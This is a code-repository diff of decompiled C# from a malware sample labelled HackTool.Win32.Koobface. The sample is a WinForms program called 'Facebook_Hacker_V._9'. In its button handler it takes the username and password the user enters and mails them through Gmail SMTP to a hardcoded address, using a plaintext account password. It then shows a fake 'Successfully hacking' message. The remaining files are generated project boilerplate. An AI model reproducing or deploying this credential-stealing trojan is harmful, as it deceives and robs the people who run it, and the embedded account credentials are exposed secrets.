internal virtual ProgressBar ProgressBar1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._ProgressBar1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
||||
if (this._Timer1 != null)
|
||||
this._Timer1.Tick -= eventHandler;
|
||||
this._Timer1 = value;
|
||||
if (this._Timer1 == null)
|
||||
return;
|
||||
this._Timer1.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.ProgressBar1.Increment(1);
|
||||
if (this.ProgressBar1.Value != 100)
|
||||
;
|
||||
}
|
||||
|
||||
private void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (Operators.CompareString(this.TextBox1.Text, "", false) == 0)
|
||||
{
|
||||
int num1 = (int) Interaction.MsgBox((object) "Username Is Missing");
|
||||
if (Operators.CompareString(this.TextBox2.Text, "", false) == 0)
|
||||
{
|
||||
int num2 = (int) Interaction.MsgBox((object) "Password Is Missing");
|
||||
}
|
||||
}
|
||||
SmtpClient smtpClient = new SmtpClient();
|
||||
MailMessage mailMessage = new MailMessage();
|
||||
smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("todorovic.todorovic25@gmail.com", "todorovic");
|
||||
smtpClient.Port = 587;
|
||||
smtpClient.Host = "smtp.gmail.com";
|
||||
smtpClient.EnableSsl = true;
|
||||
smtpClient.Send(new MailMessage()
|
||||
{
|
||||
From = new MailAddress("todorovic.todorovic25@gmail.com"),
|
||||
To = {
|
||||
"todorovic.todorovic25@gmail.com"
|
||||
},
|
||||
Subject = "Username: " + this.TextBox1.Text,
|
||||
Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text
|
||||
});
|
||||
this.Timer1.Start();
|
||||
int num = (int) Interaction.MsgBox((object) "Successfully hacking, password is located in C/:Documents");
|
||||
}
|
||||
}
|
||||
}
|
||||
+123
File diff suppressed because one or more lines are too long
+59
@@ -0,0 +1,59 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Facebook_Hacker_V._9</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<RootNamespace>Facebook_Hacker_V._9</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\InternalXmlHelper.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Facebook_Hacker_V._9", "HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.csproj", "{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{097E0CDF-180E-40F4-BBFA-DC0490BCFBBE}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+214
@@ -0,0 +1,214 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Facebook_Hacker_V._9.My.InternalXmlHelper
|
||||
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Xml.Linq;
|
||||
|
||||
namespace Facebook_Hacker_V._9.My
|
||||
{
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class InternalXmlHelper
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
private InternalXmlHelper()
|
||||
{
|
||||
}
|
||||
|
||||
public static string get_Value(IEnumerable<XElement> source)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return enumerator.Current.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_Value(IEnumerable<XElement> source, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.Value = value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return (string) enumerator.Current.Attribute(name);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.SetAttributeValue(name, (object) value);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
|
||||
|
||||
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
|
||||
{
|
||||
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
|
||||
namespaceAttribute.AddAnnotation((object) ns);
|
||||
return namespaceAttribute;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static object RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
object obj)
|
||||
{
|
||||
switch (obj)
|
||||
{
|
||||
case XElement e:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
|
||||
case IEnumerable enumerable:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
|
||||
default:
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static IEnumerable RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
IEnumerable obj)
|
||||
{
|
||||
if (obj == null)
|
||||
return obj;
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XElement RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
XElement e)
|
||||
{
|
||||
XAttribute nextAttribute;
|
||||
if (e != null)
|
||||
{
|
||||
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
|
||||
{
|
||||
nextAttribute = xattribute.NextAttribute;
|
||||
if (xattribute.IsNamespaceDeclaration)
|
||||
{
|
||||
XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
|
||||
string localName1 = xattribute.Name.LocalName;
|
||||
if ((object) xnamespace1 != null)
|
||||
{
|
||||
if (inScopePrefixes != null && inScopeNs != null)
|
||||
{
|
||||
int num = checked (inScopePrefixes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
string inScopePrefix = inScopePrefixes[index];
|
||||
XNamespace inScopeN = inScopeNs[index];
|
||||
if (localName1.Equals(inScopePrefix))
|
||||
{
|
||||
if (xnamespace1 == inScopeN)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
if (attributes != null)
|
||||
{
|
||||
int num = checked (attributes.Count - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
XAttribute attribute = attributes[index];
|
||||
string localName2 = attribute.Name.LocalName;
|
||||
XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
|
||||
if ((object) xnamespace2 != null && localName1.Equals(localName2))
|
||||
{
|
||||
if (xnamespace1 == xnamespace2)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
xattribute.Remove();
|
||||
attributes.Add(xattribute);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return e;
|
||||
}
|
||||
}
|
||||
}
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Facebook_Hacker_V._9.My.MyApplication
|
||||
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Facebook_Hacker_V._9.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "10.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
{
|
||||
if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (MyApplication.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (MyApplication.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
|
||||
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
|
||||
}
|
||||
MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
MyApplication.__ENCAddToList((object) this);
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Facebook_Hacker_V._9.My.MyComputer
|
||||
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Facebook_Hacker_V._9.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "10.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user